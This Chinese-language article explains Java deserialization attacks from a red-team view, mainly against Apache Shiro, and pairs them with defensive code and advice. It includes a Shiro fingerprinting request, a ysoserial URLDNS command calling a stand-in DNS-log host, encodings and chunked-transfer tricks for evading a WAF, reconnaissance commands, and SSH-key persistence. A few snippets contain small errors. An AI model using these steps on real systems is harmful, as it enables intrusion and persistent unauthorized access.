从红队视角拆解Java反序列化攻防实战

当企业安全团队进行内部红蓝对抗演练时,Java反序列化漏洞往往成为攻击方突破边界的关键跳板。在一次典型的渗透测试中,攻击者可能从暴露在公网的Java应用入手,利用Shiro等框架的反序列化缺陷绕过层层防御,最终实现内网横向移动。本文将还原这类攻击的完整技术链路,并给出可落地的防御方案。

1. 目标识别与漏洞探测

在真实的红队行动中,攻击者通常不会盲目扫描整个网络,而是通过 指纹识别 特征分析 锁定高价值目标。以Apache Shiro框架为例,其默认配置会暴露关键特征:

GET /admin/login HTTP/1.1
Host: target.com
Cookie: rememberMe=1

若响应头包含 Set-Cookie: rememberMe=deleteMe ,即可确认目标使用Shiro框架。这种非侵入式检测方式能有效规避基础WAF的防护规则。

对于存在WAF的环境,攻击者会采用 分阶段验证 策略:

  1. 先发送无害的测试payload观察响应
  2. 通过DNSLog等无回显技术验证漏洞
  3. 逐步增加payload复杂度绕过过滤

例如使用URLDNS链进行盲测:

java -jar ysoserial.jar URLDNS "http://dnslog.example.com" | base64 -w0

2. 绕过WAF的编码与混淆技术

现代WAF通常具备对常见攻击特征(如 Runtime.exec() )的检测能力。红队需要针对不同防护层采用相应绕过手段:

2.1 载荷编码方案对比

编码类型 适用场景 示例
Base64 基础编码需求 rO0AB...
URL编码 处理特殊字符 %AC%ED%00%05
Hex编码 规避关键词检测 \xac\xed\x00\x05
Unicode 绕过正则匹配 \u00ac\u00ed

2.2 分块传输技巧

通过HTTP分块传输编码(chunked)拆分恶意payload:

POST /api HTTP/1.1
Transfer-Encoding: chunked

5
rO0AB
3
XNy
...

配合时间延迟参数可进一步绕过行为分析:

Thread.sleep(Math.random() * 3000);

3. 内网横向扩展技术

成功获取边界服务器权限后,攻击者通常会进行以下操作:

  1. 信息收集

    # 查看网络配置
    ifconfig /all
    # 检查ARP缓存
    arp -a
    # 寻找数据库连接信息
    find / -name *.properties
    
  2. 利用其他Java服务漏洞

    • Weblogic T3协议反序列化
    • Fastjson远程类加载
    • Jenkins Groovy沙箱绕过
  3. 建立持久化通道

    # 生成SSH密钥对
    ssh-keygen -t rsa -b 4096
    # 写入目标机authorized_keys
    echo pubkey >> ~/.ssh/authorized_keys
    

4. 企业级防御方案设计

针对上述攻击链,建议采用分层防御策略:

4.1 基础防护措施

  • 升级Shiro至最新版本(≥1.7.0)
  • 修改默认加密密钥
  • 禁用不必要的反序列化功能

4.2 高级检测机制

// 自定义ObjectInputStream过滤危险类
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLIST = 
        Set.of("org.apache.commons.collections...");
        
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (BLACKLIST.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt");
        }
        return super.resolveClass(desc);
    }
}

4.3 网络层防护

  • 对出站DNS请求实施严格管控
  • 在内网部署流量镜像分析系统
  • 对管理接口实施双因素认证

在一次真实的客户案例中,我们通过部署RASP(运行时应用自保护)技术,成功拦截了攻击者尝试利用JRMP协议进行的横向移动。该方案通过在Java虚拟机层植入探针,能够实时检测异常的反序列化操作:

// RASP检测示例
public class DeserializationMonitor {
    public static void check(Object obj) {
        if (obj instanceof Remote) {
            throw new SecurityException("JRMP connection detected");
        }
    }
}

对于关键业务系统,建议定期进行 反序列化漏洞专项审计 ,使用工具如SerialKiller进行自动化扫描,同时结合人工代码审查验证修复效果。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐